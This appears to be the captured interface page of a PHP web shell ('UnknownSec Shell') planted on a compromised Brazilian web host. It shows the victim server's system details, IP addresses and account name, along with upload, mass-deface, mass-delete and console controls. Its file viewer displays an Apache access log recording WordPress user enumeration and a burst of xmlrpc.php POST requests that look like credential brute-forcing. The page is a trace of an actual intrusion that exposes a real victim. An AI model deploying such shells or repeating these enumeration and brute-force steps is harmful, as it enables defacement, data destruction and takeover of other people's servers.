shell bypass 403

UnknownSec Shell

: /home/espa7358/access-logs/ [ drwxr-x--- ]
Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.5.151
Your Ip: 216.73.216.229
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE
upload mass deface mass delete console

name : franquias.espacofacial.com.br 
129.121.40.117 - - [16/Sep/2026:09:08:03 -0300] "GET /.well-known/acme-challenge/4DUZYXGEOTHFRYP33HU1DVK0NZOYQ66K HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
129.121.40.117 - - [16/Sep/2026:12:08:02 -0300] "GET /.well-known/acme-challenge/K6LC0M35PZ24YJSTPY3YWIR3TOPGYD3V HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
129.121.40.117 - - [16/Sep/2026:13:09:19 -0300] "POST /wp-cron.php?doing_wp_cron=1789574959.0224161148071289062500 HTTP/1.1" 200 - "-" "WordPress/7.0.4; https://franquias.espacofacial.com.br"
158.173.77.106 - - [16/Sep/2026:13:09:18 -0300] "GET / HTTP/1.1" 200 72163 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
129.121.40.117 - - [16/Sep/2026:15:08:03 -0300] "GET /.well-known/acme-challenge/E1_CVLT_YZ4309JUG6ENCRQWI6WWN_VD HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
129.121.40.117 - - [16/Sep/2026:18:08:02 -0300] "GET /.well-known/acme-challenge/D7ROKAEDW-T_NJMG2PCOASDRD5PRCB2D HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
129.121.40.117 - - [16/Sep/2026:19:15:57 -0300] "POST /wp-cron.php?doing_wp_cron=1789596957.0148699283599853515625 HTTP/1.1" 200 - "-" "WordPress/7.0.4; https://franquias.espacofacial.com.br"
194.33.46.13 - - [16/Sep/2026:19:15:56 -0300] "GET /xmlrpc.php HTTP/1.1" 405 42 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=10 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=1 HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 200 854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=4 HTTP/1.1" 200 67191 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=5 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=8 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=7 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=9 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=3 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=6 HTTP/1.1" 404 60800 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:57 -0300] "GET /?author=2 HTTP/1.1" 200 67186 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91"
194.33.46.13 - - [16/Sep/2026:19:15:58 -0300] "POST /xmlrpc.php HTTP/1.1" 200 409 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
129.121.40.117 - - [16/Sep/2026:21:08:03 -0300] "GET /.well-known/acme-challenge/F9RUIX8DF9BDDD20LAK527GE9N_A5J10 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
129.121.40.117 - - [17/Sep/2026:00:08:02 -0300] "GET /.well-known/acme-challenge/4LF7FJR_49SUR3D-HXXK2WBQ7PEH-LGN HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
© 2026 UnknownSec